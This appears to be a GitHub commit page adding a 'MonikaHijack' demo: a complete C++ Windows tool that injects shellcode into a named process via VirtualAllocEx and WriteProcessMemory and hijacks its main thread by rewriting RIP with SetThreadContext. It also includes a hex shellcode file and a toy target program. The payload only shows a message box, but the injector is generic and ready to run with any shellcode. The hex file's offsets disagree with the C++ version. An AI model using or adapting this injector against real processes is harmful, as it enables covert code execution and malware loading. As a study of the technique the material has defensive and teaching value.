Skip to content

Commit 0e9cfd6

Browse files
UEFI-codeUEFI-code
committed
Add Hijack Feature
1 parent b778fb8 commit 0e9cfd6

5 files changed

Lines changed: 237 additions & 0 deletions

File tree

‎MonikaHijack/MonikaShellCode1.txt‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
E8 00 00 00 00
2+
5A
3+
48 83 C2 21
4+
48 31 C9
5+
4C 8B C2
6+
49 83 C0 20
7+
4D 31 C9
8+
48 B8 60 E0 94 1A FC 7F 00 00
9+
FF D0
10+
C3
11+
90 90 4A 55 53 74 20 4D 6F 6E 69 6B 61 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 4C 45 52 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

‎MonikaHijack/demo1.cpp‎

Lines changed: 214 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,214 @@
1+
#include <windows.h>
2+
#include <tlhelp32.h>
3+
#include <cstdio>
4+
5+
// Corrected Shellcode to inject
6+
const BYTE shellcode[] = {
7+
0xE8, 0x00, 0x00, 0x00, 0x00, // call $+5 (self-relative)
8+
0x5A, // pop rdx
9+
0x48, 0x83, 0xC2, 0x21, // add rdx, 0x21 (adjust rdx to point to "JUST Monika!")
10+
0x48, 0x31, 0xC9, // xor rcx, rcx (HWND = NULL)
11+
0x4C, 0x8B, 0xC2, // mov r8, rdx
12+
0x49, 0x83, 0xC0, 0x0d, // add r8, 0x0d (adjust R8 to point to "ALERT")
13+
0x4D, 0x31, 0xC9, // xor r9, r9 (uType = MB_OK)
14+
0x48, 0xB8, 0x60, 0xE0, 0x94, 0x1A, 0xFC, 0x7F, 0x00, 0x00, // mov rax, <MessageBoxA address>
15+
0xFF, 0xD0, // call rax (call MessageBoxA)
16+
0xC3, // ret
17+
0x90, 0x90, // nop nop (padding)
18+
// MessageBox strings (null-terminated)
19+
'J', 'U', 'S', 'T', ' ', 'M', 'o', 'n', 'i', 'k', 'a', '!', 0x00, // "JUST Monika!"
20+
'A', 'L', 'E', 'R', 'T', 0x00 // "ALERT"
21+
};
22+
23+
// Function to get the PID of the target process by name
24+
DWORD GetProcessIdByName(const char* processName)
25+
{
26+
PROCESSENTRY32 pe32;
27+
pe32.dwSize = sizeof(PROCESSENTRY32);
28+
29+
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
30+
if (hProcessSnap == INVALID_HANDLE_VALUE)
31+
return 0;
32+
33+
DWORD processId = 0;
34+
if (Process32First(hProcessSnap, &pe32))
35+
{
36+
do
37+
{
38+
if (strcmp(pe32.szExeFile, processName) == 0)
39+
{
40+
processId = pe32.th32ProcessID;
41+
break;
42+
}
43+
} while (Process32Next(hProcessSnap, &pe32));
44+
}
45+
46+
CloseHandle(hProcessSnap);
47+
return processId;
48+
}
49+
50+
// Function to find the main thread of the target process
51+
DWORD GetMainThreadId(DWORD processId)
52+
{
53+
THREADENTRY32 te32;
54+
te32.dwSize = sizeof(THREADENTRY32);
55+
56+
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
57+
if (hThreadSnap == INVALID_HANDLE_VALUE)
58+
return 0;
59+
60+
DWORD mainThreadId = 0;
61+
FILETIME earliestTime = { MAXDWORD, MAXDWORD };
62+
63+
if (Thread32First(hThreadSnap, &te32))
64+
{
65+
do
66+
{
67+
if (te32.th32OwnerProcessID == processId)
68+
{
69+
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te32.th32ThreadID);
70+
if (hThread)
71+
{
72+
FILETIME creationTime, exitTime, kernelTime, userTime;
73+
if (GetThreadTimes(hThread, &creationTime, &exitTime, &kernelTime, &userTime))
74+
{
75+
if (CompareFileTime(&creationTime, &earliestTime) < 0)
76+
{
77+
earliestTime = creationTime;
78+
mainThreadId = te32.th32ThreadID;
79+
}
80+
}
81+
CloseHandle(hThread);
82+
}
83+
}
84+
} while (Thread32Next(hThreadSnap, &te32));
85+
}
86+
87+
CloseHandle(hThreadSnap);
88+
return mainThreadId;
89+
}
90+
91+
// Function to inject shellcode into the target process and return the address of the remote memory
92+
LPVOID InjectShellcode(DWORD processId)
93+
{
94+
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
95+
if (!hProcess)
96+
{
97+
printf("Failed to open process with PID %lu\n", processId);
98+
return NULL;
99+
}
100+
101+
// Allocate memory in the target process
102+
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
103+
if (!remoteMemory)
104+
{
105+
printf("Failed to allocate memory in the target process\n");
106+
CloseHandle(hProcess);
107+
return NULL;
108+
}
109+
printf("Allocated RWX memory at address: 0x%p\n", remoteMemory);
110+
111+
// Write the shellcode to the allocated memory
112+
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL))
113+
{
114+
printf("Failed to write shellcode to the allocated memory\n");
115+
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
116+
CloseHandle(hProcess);
117+
return NULL;
118+
}
119+
printf("Shellcode written to remote memory successfully\n");
120+
121+
CloseHandle(hProcess);
122+
return remoteMemory;
123+
}
124+
125+
// Function to hijack the main thread and set its RIP to the injected shellcode
126+
bool HijackMainThread(DWORD processId, DWORD mainThreadId, LPVOID shellcodeAddress)
127+
{
128+
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId);
129+
if (!hThread)
130+
{
131+
printf("Failed to open main thread with TID %lu\n", mainThreadId);
132+
return false;
133+
}
134+
135+
// Suspend the thread and get its context
136+
SuspendThread(hThread);
137+
printf("Suspended main thread with TID %lu\n", mainThreadId);
138+
139+
CONTEXT ctx;
140+
ctx.ContextFlags = CONTEXT_FULL;
141+
if (GetThreadContext(hThread, &ctx))
142+
{
143+
printf("Original RIP: 0x%p\n", (LPVOID)ctx.Rip);
144+
145+
// Set RIP to the shellcode address
146+
ctx.Rip = (DWORD64)shellcodeAddress;
147+
printf("Hijacking RIP to address: 0x%p\n", shellcodeAddress);
148+
149+
// Update the thread context
150+
if (!SetThreadContext(hThread, &ctx))
151+
{
152+
printf("Failed to set thread context\n");
153+
ResumeThread(hThread);
154+
CloseHandle(hThread);
155+
return false;
156+
}
157+
}
158+
else
159+
{
160+
printf("Failed to get thread context\n");
161+
ResumeThread(hThread);
162+
CloseHandle(hThread);
163+
return false;
164+
}
165+
166+
// Resume the thread
167+
ResumeThread(hThread);
168+
printf("Resumed main thread with TID %lu\n", mainThreadId);
169+
CloseHandle(hThread);
170+
return true;
171+
}
172+
173+
int main()
174+
{
175+
const char* targetProcessName = "target.exe"; // Replace with your target process name
176+
DWORD processId = GetProcessIdByName(targetProcessName);
177+
178+
if (processId)
179+
{
180+
printf("Target process \"%s\" found with PID %lu\n", targetProcessName, processId);
181+
182+
// Inject shellcode and get the remote memory address
183+
LPVOID remoteMemory = InjectShellcode(processId);
184+
if (remoteMemory)
185+
{
186+
// Get the main thread ID
187+
DWORD mainThreadId = GetMainThreadId(processId);
188+
if (mainThreadId)
189+
{
190+
printf("Main thread found with TID %lu\n", mainThreadId);
191+
192+
// Hijack the main thread
193+
if (HijackMainThread(processId, mainThreadId, remoteMemory))
194+
printf("Shellcode injected and main thread hijacked successfully.\n");
195+
else
196+
printf("Failed to hijack main thread.\n");
197+
}
198+
else
199+
{
200+
printf("Failed to find main thread.\n");
201+
}
202+
}
203+
else
204+
{
205+
printf("Failed to inject shellcode.\n");
206+
}
207+
}
208+
else
209+
{
210+
printf("Target process \"%s\" not found.\n", targetProcessName);
211+
}
212+
213+
return 0;
214+
}

‎MonikaHijack/demo1.exe‎

263 KB
Binary file not shown.

‎MonikaHijack/target.c‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#include<stdio.h>
2+
#include<windows.h>
3+
4+
int main()
5+
{
6+
MessageBoxA(NULL, "Target", "Target", MB_OK);
7+
while(1)
8+
{
9+
printf("Waiting for Hijack...\n");
10+
Sleep(1000);
11+
}
12+
}

‎MonikaHijack/target.exe‎

129 KB
Binary file not shown.

0 commit comments

Comments
 (0)